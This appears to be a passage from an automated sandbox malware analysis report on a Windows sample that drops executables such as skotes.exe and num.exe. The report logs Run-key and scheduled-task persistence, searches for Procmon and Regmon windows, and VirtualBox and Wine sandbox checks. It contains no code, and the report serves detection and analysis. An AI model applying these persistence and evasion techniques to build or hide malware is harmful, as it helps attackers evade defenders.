Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: section name: entropy: 7.760211110417353
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.984117370985836
Source: skotes.exe.3.dr	Static PE information: section name: sygcicsm entropy: 7.953726333004154
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.984667685807601
Source: ee8d47a049.exe.10.dr	Static PE information: section name: entropy: 7.984667685807601
Source: random[1].exe0.10.dr	Static PE information: section name: wyvqzkuk entropy: 7.95409499130381
Source: 36c3130eac.exe.10.dr	Static PE information: section name: wyvqzkuk entropy: 7.95409499130381
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: entropy: 7.984117370985836
Source: LIZ1X768O6R3WBN7EPZHLFTDS.exe.12.dr	Static PE information: section name: sygcicsm entropy: 7.953726333004154
Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: section name: wyvqzkuk entropy: 7.95409499130381
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: section name: entropy: 7.760211110417353

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File created: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001141001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File created: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File created: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee8d47a049.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36c3130eac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 55662d7496.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee8d47a049.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee8d47a049.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36c3130eac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 36c3130eac.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 55662d7496.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 55662d7496.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
